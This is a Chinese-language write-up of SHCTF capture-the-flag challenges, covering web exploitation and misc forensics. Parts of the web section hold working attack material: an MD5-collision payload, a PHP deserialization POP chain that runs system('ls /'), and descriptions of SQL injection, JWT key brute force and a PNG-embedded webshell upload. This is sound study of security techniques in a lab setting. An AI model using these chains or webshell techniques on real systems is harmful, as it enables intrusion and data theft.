Web

· MD5 master!

image.png

阅读代码可知,想让代码输出flag文件内容,需要满足:
$master变量 拼接 POST请求发送的master1字符串≠$master变量 拼接 POST请求发送的master2字符串
即master1≠master2
两个拼接所得的字符串MD5相同

则利用fastcoll工具生成MD5相同文件,头为$master值
image.png

使用如下代码转换为字符串
image.png

运行结果:
MD5+master%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01d%176%12%3B%0A%85%C1W%EE%AAU%8C%26%0D%C2%07%13v%9C%11%80%5E%08%12y%82W.%B6%F0%40%1D%F7%CD%CF%A9%0B%B6%CBca%99%DBSn%14%C4%BCM%7F%8F%3F%9E%A7%FF%2C%B7%C4%C7%AA%E2%D7%402%81%0D%F9%8E%F6e%97%F7%9A%B4%E2%0D%D4F%2F%13%9B%9Al%5C%927-%B5%E0%D6%3B%60H%B6%D7%7DHH%9F%86%B1%FC%F9%02B%9B%AC%03%05Y%CB%28%B7%076I%5BG%C8g%0A%C00%C9itMD5+master%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01d%176%12%3B%0A%85%C1W%EE%AAU%8C%26%0D%C2%07%13%F6%9C%11%80%5E%08%12y%82W.%B6%F0%40%1D%F7%CD%CF%A9%0B%B6%CBca%99%DB%D3n%14%C4%BCM%7F%8F%3F%9E%A7%FF%2C%B7D%C7%AA%E2%D7%402%81%0D%F9%8E%F6e%97%F7%9A%B4%E2%0D%D4F%2F%13%9B%1Al%5C%927-%B5%E0%D6%3B%60H%B6%D7%7DHH%9F%86%B1%FC%F9%02B%9B%AC%83%04Y%CB%28%B7%076I%5BG%C8g%0A%400%C9it
去除MD5+master%21(对应”MD5 master!”)
得到需要POST的master1,master2;
构造请求包:
使用Yakit:
image.png

发送请求,得到Flag:
image.png

· 1zFlask

题目提示打开robots.txt:
image.png

又提示打开/s3recttt目录,下载得到py文件:
image.png

访问/api,发现flag文件在根目录下:
image.png

构造一个url请求,cat出flag就行了:
image.png

image.png

· 蛐蛐?蛐蛐!

F12查看:
image.png

按提示打开source.txt:
image.png

想通过第一层if判断,需要Get方法传递的参数 ’ququ’ 值为114514且 反转后的 ’ququ’ 值不等于411511
第一眼看上去好像是个不可能满足的条件,但是可以尝试一下类似00截断的方法欺骗条件判断
再从第一个页面的html文件中得知 请求的是check.php
则构造url:http://x.x:x/check.php?ququ=114514%00
得到回显:
image.png

第二层条件判断要求POST方法传递的 ’ququ’ 值不为null
第三层条件判断则要求POST方法传递的 ’ququ’ 值前6位必须为 ’ququk1’
通过这两层判断则通过eval()执行POST过去的代码
使用yakit构建POST请求包:
image.png


得知Flag在根目录,cat出flag内容即可。
image.png

· 单身十八年的手速

F12直接查看源码,这是一个在本地运行的js
混淆很多,但是不妨碍我们找到这个:
image.png

一眼Base64,扔进解码器解码得:
image.png

· ez_gittt

题目叫ezgit,想必是.git泄露
访问/.git ,果然如此:
image.png

先用GitHack看一眼,发现git克隆不全:
image.png

指定是index被做了手脚,010打开捉鬼:
image.png

文件树都被删的只剩下index.html了

那就进.git\objects手工爆破吧
找了个脚本:
image.png

一个个试,第一个就出来了:
image.png

· Jvav

是一个Java的在线执行环境
image.png

整一段Java执行ls命令
image.png

结果:
image.png

cat读取flag即可:
image.png

· poppopop

题目告诉了我们源码:
image.png

我们一个类一个类分析一下:

  1. 类SH定义了两个静态变量,初始值均为False

  2. 类C定义了一个名叫flag的方法和一个公共变量,flag()的内容可以通过$p更改

  3. 类T包含了一个__destruct()魔术方法,在本题中似乎会在反序列化后自动调用,同时会设置类SH中的$Web值为True

  4. 类F包含了一个__toString()魔术方法,在包含它的类F被调用为字符串时自动执行,设置类SH中的$SHCTF值为真,同时$this->o->flag()使我们可以利用$o跳转到类C中的flag()方法,此时__toString()的值为‘其实。。。。,’

  5. 类SHCTF包含了一个__invoke()魔术方法,在类SHCTF被调用的时候自动执行,其包含了一个条件判断:若类SH中的$Web为真,则输出“小丑竟是我自己呜呜呜~”,中间的($this->isyou)($this->flag)让我们可以通过$isyou,$flag【注意与flag()方法区分】执行任意指令,$Web为否不再赘述

  6. 最后的部分则是获取通过GET方法传递的‘data’参数,base64解码data后传递给unserialize()进行反序列化分析完了,接下来就是连连看构造pop链了

  7. 首先我们先实例化所有类:

    1
    2
    3
    4
    5
    $sh = new SH();
    $c = new C();
    $t = new T();
    $f = new F();
    $shctf = new SHCTF();
  8. 链条嘛,有头有尾,我们先找头部,刚好这里有一个__destruct()会在最先开始的反序列化后自动执行,我们拿它下手:__destruct()里面有一个echo,刚好需要字符串输入,我们就把里面有__toString()的$f给它:

    1
    $t->n = $f;
  9. $f被echo调用为字符串了,激活了__toString(),它里面没什么好跳转的,只有一个$this->o->flag(),我们就利用这个$o把$this->o->flag()指向$c里面那个flag(),也即$c->flag()

    1
    2
    $t->n = $f;
    $f->o = $c;
  10. 现在跳转到了类C里面那个flag(),($this->p)()允许我们通过$c->p = ?调用一个函数,刚好我们有个在$shctf里面的__invoke()可以借此激活:

    1
    2
    3
    $t->n = $f;
    $f->o = $c;
    $c->p = $shctf;
  11. 类SHCTF里面的条件判断我们已经在第一步满足了,这个时候我们就可以给 $isyou 和 $flag 赋值,以此执行我们的指令:

    1
    2
    3
    4
    5
    $t->n = $f;
    $f->o = $c;
    $c->p = $shctf;
    $shctf->isyou = 'system';
    $shctf->flag = 'ls /';
  12. 我们再将它们序列化,顺便转成base64:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    $sh = new SH();
    $c = new C();
    $t = new T();
    $f = new F();
    $shctf = new SHCTF();
    $t->n = $f;
    $f->o = $c;
    $c->p = $shctf;
    $shctf->isyou = 'system';
    $shctf->flag = 'ls /';
    $ser=serialize([$sh,$t,$f,$c,$shctf]);
    echo base64_encode($ser);
  13. 构建url:http://x.x:x/?data=你输出的base64复制粘贴

  14. 得到回显:image.png

  15. 我们得知flag在根目录下的flllag文件中,$shctf->flag = ‘cat /flllag’即可

  16. 最终flag:image.png

· 登陆验证

c349d4768528b2c4b326690ae9ff113.jpg

读题,考点为jwt,且告诉我们有密钥加密,需要爆破
打开网站
b2506910425de3ebd837570ab804cfa.jpg

可以看到是一个登陆界面,考点不在登陆上,我们先尝试几个弱用户密码登陆,以获取cokkie
尝试到用户名为admin,密码为admin时成功:
59955b207a851cb2319a755a7c2083f.jpg

说我不是admin,那应该就是jwt在捣鬼了,拉到Yakit里面看一下先:
image.png

可以看到,在username,password验证之外还有一层token的验证。
这个token前两部分是base64编码过的明文,第三部分则是密钥结合前两部分加密得出的签名,服务器端验证签名以确认token有效,而加密方式可以从第一部分了解到。
我们直接使用jwt.io解码一下内容:
image.png

可以看到,’role’字段=user的捣鬼导致我们没有被认证为admin,当role=admin时即可验证通过。’alg’字段代表其加密方式为HS256,是对称式加密,加密算法为HMAC SHA-256,意味着我们可以暴力破解密钥以突破签名验证,更改role。
不过在此之前我们还需要按照常规思路走一遍,验证一下更改加密方式为none时是否可以绕过签名校验,万一不用爆破了呢:
image.png
image.png

image.png

很明显不行,那就老老实实爆破密钥,使用jwtcrack这里破解:
image.png

放了一个晚上出来了,再次利用jwt.io封装token:
image.png

替换token请求,得到flag:
image.png

· guess_the_number

image.png

F12查看源码先:
image.png

提示我们访问/s0urce路由,得到源码:
image.png

解读源码,发现/guess路由会获取我们传递的’num’参数,若我们传递的参数等于随机生成的second_num,则返回flag文件内容
再看随机数生成段,先是随机生成一个七位的seed,然后再利用这个seed生成两个随机数,而first_num已经告诉我们了。
爆破10位数的second_num不太现实,那么思路就是爆破7位的seed,通过seed获取second_num。
制作爆破脚本,让ai帮我做了一下多进程优化以提高爆破效率:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import random
import multiprocessing
from multiprocessing import Pool

def test_seed(seed):
random.seed(seed)
if random.randint(1000000000, 9999999999) == 3944680199:
return seed
return None

def main():

seed_range = range(1000000, 9999999)

with Pool(processes=multiprocessing.cpu_count()) as pool:

results = pool.map(test_seed, seed_range)

valid_seeds = [seed for seed in results if seed is not None]

if valid_seeds:
print(f"找到满足条件的seed值:{valid_seeds}")
else:
print("没有找到满足条件的seed值。")


if __name__ == "__main__":
main()

得到seed值:
image.png

再利用seed生成second_num:

1
2
3
4
5
6
7
8
9
10
11
import random

seed =7267054

random.seed(seed)

first_num = random.randint(1000000000,9999999999)
second_num = random.randint(1000000000,9999999999)

print (second_num)

输出结果:
image.png

得到:
image.png

· 自助查询

image.png

一眼sql注入,猜测是联合查询:
先验证一下:
image.png

有注入,但flag藏得比较深,可能在别的表;
先找出整个的库:
image.png

得到库名为ctf;再找出这个库底下的所有表:
image.png

得到两个表名,很明显我们的目标是flag库;
查询flag库下的所有列名:
image.png

得到一个名叫’scretdata’的列,查询scretdata下的信息:
image.png

很可惜,flag不在里面,不过出题人提示了我们flag在注释里面,那就是要查询注释
先从表注释开始吧:
image.png

没有结果,那就查字段注释:
image.png

· 拜师之旅·番外

image.png

很明显是个文件上传类型的题,先随便传个一句话马:
image.png

有验证,在图片里插个马再传:
image.png

image.png

还是不行,看来服务器端对上传的png文件数据做了校验
那思路就是做一个图片数据中包含木马的png文件,且其可以通过数据校验
网上已经有大佬的脚本可以生成这种文件
image.png
->PngTrojan.png

上传:
image.png

上传成功,服务器端对其进行了重命名,点开查看:
image.png

发现路径为/upload/xxx.png
则构造payload:
屏幕截图 2024-10-16 182149.png

得到flag

· 小小cms

参考文章:链接
题目提示我们这个网站能被rce,根据以上文章构建请求包:
image.png

得到flag

Misc

· 有WiFi干嘛不用呢?

image.png

csv与xml文件均无有效信息,发现.cap文件是握手包,且被加密:
image.png

推测may文件夹内文件的文件名或文件内容是密钥
利用以下代码读取并输出文件名与内容至txt文件中制作字典
image.png

使用aircrack-ng工具暴力破解cap包,得到密钥
image.png

密钥即为Flag

· 拜师之旅①

原始PNG文件无法打开,使用PCRT进行修复:
image.png

查看图片属性,发现分辨率为1520x1792
这种图高度一般不会是这种数字,判断高度被篡改
010改高度:
image.png

得到好图Flag
image.png

· 真真假假?遮遮掩掩!

打开压缩包,发现被加密且为真加密
010查看,发现文件尾部有提示信息
image.png

结合题目与提示信息格式,使用ARCHPR掩码爆破文件密码
image.png

得到Flag:
image.png

· Rasterizing Traffic

压缩包内是一个.pcapng文件,判断为抓到的数据包
010打开,发现png文件
image.png

掐头去尾,得到以下图片:
image.png

Png的文件名已经提示我们这是一个光栅图,判断为横向隐写,先二值化图片:
image.png

让脚本好发挥一点

利用Raster-Terminator提取出如下图片:
image.png

在5-1至5-5得到Flag

· Quarantine

image.png

hint提示我们这是一个被Windows Defender隔离的文件
010打开看一眼,很明显是被加密过的:
image.png

既然被加密了那就要解密,通过万能的互联网我们检索到了两篇文章:
·[Reverse, Reveal, Recover: Windows Defender Quarantine Forensics – Fox-IT International blog](https://www.yuque.com/rikoto/rr0r9n/ntosrpbuk1988usv#:~:text=Recovering files by investigating)
·[How to Extract Quarantine Files from Windows Defender | Nikola’s Blog (reversingfun.com)](https://www.yuque.com/rikoto/rr0r9n/ntosrpbuk1988usv#:~:text=C:\Windows\Temp\eicar.txt. As you can)
总结一下提取到的信息:
·Windows Defender 隔离的文件本体采用RC4加密
·加密的密钥还是静态的,可以从第二篇Blog中获取
密钥:
image.png

因为py环境崩了,这里我们就不使用Blog中提供的脚本了,寻找在线工具解决:
先把文件转成Base64
image.png

再RC4解密:
image.png

可以看到本体是个一句话木马,后面跟了一串Base64编码的文件
把那串Base64编码的文件拉去解密:
image.png

看到PK头了,很明显是个zip压缩包,内含flag,转成Hex导入010再导出获得zip文件:
image.png

但是被加密了,回010查看为真加密,且没有其他提示
那就只能爆破了,先试下rockyou字典爆破,结果直接出来了:
image.png

· 遮遮掩掩?CCRC!

读题,题目提示我们这道题是针对zip的CRC32碰撞攻击。
常规思路先走一遍,先查看压缩包内文件:

可以看到压缩包内有很多小体积的.txt文件,大小为3byte,文件大小在6byte以内,判断可以通过CRC碰撞获取文件内容。
利用碰撞脚本这里进行解密:image.png
image.png

脚本报错,很明显此路不通,不是传统的CRC32碰撞解密
重新审题,发现关键点:
image.png

资深冲浪选手肯定马上就能明白,这句话指向的是资源分享的圣堂:与熊论道这里
image.png

这是一个可以对文本进行特殊编码/解码的平台,一般编码后输出的内容开头会带有’熊曰‘字样,如:image.png

题目提示到了,肯定有它的用处,而这里只有一个东西可以与其发生关联:zip内的文本文件。
也就是说,zip内的文本文件很可能存储了熊曰编码后的文本,而这个文本形式是中文。
验证一下:
因为熊曰加密的第一个字符必为“呋”,我们将其输入文本文件中,查看其CRC32值并比对:
image.png

可以看到,CRC32相同,大小也同为3byte
那么CRC32碰撞不出结果的原因也出来了,原先脚本使用字库为所有可打印字符:
image.png

输出一下,可以看见其中并不包含中文字符:
image.png

所以我们应该将chars改为熊曰论道所有可能出现的字符
万能的互联网找不到熊曰论道会用什么字符,那我们就自己搓:
随便整一大段字符放进去加密:
image.png

文本去重这里,得到:
image.png

chars改为上述字符即可:
image.png

同时注意,因为这样的中文一个字符即占3byte,所以我们更改1byte解密脚本的字库进行破解
运行:
image.png

需要注意的是,因为解密顺序是名称顺序,所以各字符代表的是1,10,11……txt的内容
手动更改顺序即可:
image.png

输入并解密:
image.png
关注塔菲谢谢喵~

· 拜师之旅②

下载附件,解压查看,我们就得到了flag
secret.png

老规矩,先看属性:
image.png

分辨率很低,数字很怪,文件又这么大,第一思路肯定是改宽高
用010获取CRC:0x6FFE8F48
整个脚本用CRC32验证一下宽高先:
image.png

image.png

没有问题,那下一个思路就是图片里藏文件了:
010打开文件,发现有一个IDAT块没有填满:
image.png

那就是藏了一张png了,把这一个及这之前的所有IDAT块删掉,保留文件头及IHDR,导出得到图片:
secret3.png

得到真flag

· 练假成真

题目附件是一张被部分遮挡的二维码图片
download.png

因为是png,我们先按照png的思路来走一遍:
010打开,发现文件尾部藏了一个png,掐头导出:
output.png

是另一个二维码,扫描可以得到以下文本:
image.png

看起来似乎有某种规律,分析一下:
· 有很多连续的字符
· 绝大多数字符都只出现过一次
· 似乎是某些字符被调换了顺序
· 排列顺序基本是大写字母->小写字母->数字->特殊符号
据此我们可以写出这样的字符串:
image.png

接着得到字符之间的对应替换关系:

V->N N->R R->V
F->h h->p p->F
h->y y->H
0->G->0 2->1->2
9->Y->9 c->Z->c
z->T->z j->E->j
S->M->S

不过即便我们归纳出了字符之间的关系,也无法得到任何有用的信息。
思路中断,就应该搁置一边,回去审题,看有没有其他的信息和突破口:
image.png

很明显没有什么用处,所以我们将目光转向那张损坏的二维码:
前置知识:二维码的构成与阅读法
二维码是存在着纠错机制的,所以即便某些信息缺失,我们也可以通过二维码的纠错码来恢复部分信息。
纠错码的区域一般靠近二维码的左侧,所以这张二维码的遮挡主要是损坏了数据。
先了解一下二维码的纠错特性:
cade0a55e21e0ba78dee1428d5615d3.jpg

通过二维码工具QRazyBox网页Demo,可以获取到纠错等级为M,版本为3:
image.png

这意味着我们可以在版本3,M纠错等级的二维码最多可存储的44字节数据中自动恢复13字节数据。
2a8d3a064cb6c253522daed5c5d4875.jpg

划分了一下字节区域,数据有些错误,仅看分区
这怎么看都不像是只丢失了13字节的样子
但是QR码的纠错使用了reed-solomon纠错码,只要我们知道二维码的数据损坏的位置,就可以大幅提升数据恢复的能力,最高可以提升到26字节
所以我们的思路就确定了:读取二维码剩余的所有数据,确定损坏字节数,并尽可能人工修复一部分,然后利用纠错码恢复剩余数据
先利用之前那个网站填充补齐码,去除掩码:
屏幕截图 2024-10-12 222557.png

掩码样式在上面可以获取到,为3,至于补齐码,是用来填充用不到的字节的,不存储数据
接下来就可以手动提取二维码信息了:
image.png

从右下角第1,2字节处可以获取到这张二维码的编码类型为字节类型(0100),存储了(00011111)=31字节数据
而这31字节数据中,我们有4字节完整的数据,额外附赠几比特散装数据
这个时候我们缺失27字节数据,因为纠错码也有些丢失,我们需要多找出一些数据
现在就要从存储的内容下手了,阅读二维码,得到以下信息:
image.png

尝试解码一下未损坏的数据:
image.png
image.png

有没有想起什么?很明显是flag。
这个平台的flag格式是什么?SHCTF{}。
这个时候我们就可以假定数据的头部为SHCTF{,这样我们又白嫖了6个字节的数据,这样添加:
image.png
image.png
01头也可以对的上**​
现在还缺失21字节的数据,理论上可以恢复数据了:
使用python的reedsolo库进行修复,直接使用的其他人的脚本,改了一下错误:
image.png
image.png

把数据部分提取出来解密,得到:
image.png

最后4位0000不要提取,是补位用的
flag?提交一下就知道是一个fake flag了。
里面的字符串看起来有点像Base64编码过的,解码一下,得到:
image.png

flag?它都告诉你它是一个fake flag了。
这个时候读一下题,再看一下上面的Base64,是不是会感觉到有点熟悉?
我们拿之前总结出的字符对应关系对照一下,可以发现全都有对应关系。
转换一下,再拿Base64解码一下:
image.png

flag?没错它就是flag。

· Schneider

image.png

如题,使用Schneider EcoStruxure Operator Terminal Expert打开:
image.png

点击Show Password即可得到flag:
image.png

· 拜师之旅③

下载后得到一张萝卜子png:
1.png

010打开查看,png尾部藏了一个zip文件,掐头提取得到压缩包,但是被加密了
使用stegsolve查看,发现原图存在lsb隐写:
image.png

得到zip密码,解压后得到了另一张萝卜子png:
0107d803-db2e-4996-a7c7-95acbcdfb54d.png

放大查看,有奇怪的小点点
同时010打开,得知图片真实尺寸为320*180
image.png

那思路就是将小点点像素提取出来
参考文章:链接
利用里面的脚本提取,得到flag:
atri.png

· 今日无事,勾栏听曲

题目附件无后缀名,用010打开:
image.png

分析文件内容,没有明显的文件头
浏览文件,可以发现有大量重复的数据,可以分为两类:

  1. 00 00 04 08

开头的数据
2. 00 00 01 10
开头的数据整个文件其实就只有这两段数据重复出现,推测是用其表示了二进制的0
1

使用010的文本替换功能将00 00 04 08
替换成000 00 01 10替换成1

得到:
image.png

数据很大

转换为16进制,得到文件:
image.png

是个rar文件,内含flag.txt与draw.txt
flag.txt是以明文存储的,很明显是fake flag
关键在于draw.txt,但是winrar打开提示损坏:
image.png

提示文件头损坏,检查文件头,发现:
image.png

7A处错误,正常应该是74表示文件头,更改后打开得到draw.txt:
image.png

每行长度相同,为1024,且有少数字符变化,猜测是点阵图:
image.png

可以看到是一个塔,尖顶,带铁链,底下是一个带栏杆的平台,中间有拱状缺口……
搜索得到大雁塔,符合特征:
100w15000000xgcys4600.jpg

转换md5,得到flag
image.png

· 天命人

题目里是一个抓usb接口的pcapng文件
kali打开,获取HID Data:
image.png

利用某位出题人博客上的脚本这里得到按键:
image.png

按照规则整理:
image.png